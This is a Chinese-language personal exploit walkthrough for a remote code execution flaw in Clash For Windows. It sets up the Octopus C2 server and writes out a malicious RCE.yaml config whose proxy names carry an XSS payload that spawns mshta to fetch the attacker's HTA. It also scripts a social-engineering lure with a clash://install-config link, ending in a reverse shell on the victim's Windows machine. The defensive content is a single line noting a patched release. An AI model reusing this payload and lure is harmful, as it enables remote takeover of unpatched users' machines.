Clash For Windows RCE弹Shell
小白:RCE是什么
大佬:Reliable Computer Engineering (可靠的电脑工程)
咳咳,应该是Remote Code Execution(远程代码执行)= =
免责声明
本文章为PGR的个人漏洞复现笔记,仅供参考/学习,如用文章中技术造成任何损失的后果自负
前期准备
Tip:请使用一个Linux机器和一个Windows机器,否则可能会出现<意想不到>的问题
(没有Linux? 去下载一个Kali Linux吧)
一个有漏洞的Clash Windows 客户端
下载后按照提示在Windows系统下安装即可
C2工具Octopus
在一个装好了Python3和Git的Linux系统执行以下的操作
如果你没有安装,请参考
安装Python3: 终端输入sudo apt install python3
(由于大部分系统已经预装,如果你非deb系请自主上网搜索安装方式)
git clone https://github.com/mhaskar/Octopus.git
cd Octopus
pip install -r requirements.txt
python3 octopus.py
成功安装后你会看到如下界面
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 stable !
Octopus C2 | Control your shells
Octopus >>
之后再运行只需要输入
python3 octopus.py
Apache2
deb系
sudo apt install apache2
yum系
sudo yum -y install httpd
sudo firewall-cmd --permanent --add-port=80/tcp
sudo firewall-cmd --permanent --add-port=443/tcp
sudo firewall-cmd --reload
其他系统请参考官方网站
漏洞复现
Linux(攻击机器)
在刚刚下好的Octopus目录下打开终端
输入python3 octopus.py
进入Octopus界面后输入如下内容
listen_http Linux的ip 5555 Linux的ip 5 随便起一个名字.php 名字
generate_hta 名字
面向想做Hacker的小白的提醒 (大佬们可以直接略过了)
-
获取IP: 在终端输入
ifconfig
-
请不要傻瓜式抄命令,这里的ip/名字都是需要自己改的
现在Octopus已经开始监听了QAQ,记下Octopus给出的链接,并把这个终端放一边 (别关掉)
在Apache站点的默认目录/var/www/html/
里放入我们的恶意配置文件,并命名为RCE.yaml
命令如下:
sudo vi RCE.yaml
写入如下内容
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval('require("child_process").spawn("mshta",["Octopus的链接(记住只需要一对双引号)"])');>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval('require("child_process").spawn("mshta",["Octopus的链接"])');>
type: select
proxies:
- a<img/src="1"/onerror=eval('require("child_process").spawn("mshta",["Octopus的链接"])');>
原理:这是一个XSS漏洞,把payload放进Proxy的名字里,即可实现任意js代码执行,这里是执行指令mshta(命令) <Octopus生成的hta链接>(参数)
按下Esc
键并输入:wq
保存并退出
之后,攻击者就可以吃西瓜静等上线了
诶嘿嘿= =
Windows(某个可怜的小白的机器)
PGR可是从来不欺负小白的哦 (坏笑)
模拟社工过程:
Hacker: “需要白嫖Clash节点吗QAQ???”
小白: “好啊”
Hacker: “这是你要的节点clash://install-config?url=xxx&name=RCE
”
咳咳,逃~~
在Windows任意浏览器里输入
clash://install-config?url=http://Linux的ip/RCE.yaml&name=名字
Tip:记得换IP和名字
然后在弹出的提示点打开(Open)Clash For Windows
进入Profiles
页面
选择你取的名字(这里是RCE).yaml
切到Proxies
页面并点击那个a
(这一步不是必须的,因为这个RCE有些不稳定)
成功GetShell (露出恶毒的笑容)
Octopus收到了反弹的shell,可以 <为所欲为> 了
输入interact 1
即可在那台倒霉Windows上执行任意cmd指令啦.QWQ.
漏洞防御
目前Clash官方已经发布了修复漏洞的最新版本
Ref
https://github.com/Fndroid/clash_for_windows_pkg/issues/2710
Compiling and Installing - Apache HTTP Server Version 2.4
GitHub - mhaskar/Octopus: Open source pre-operation C2 server based on python and powershell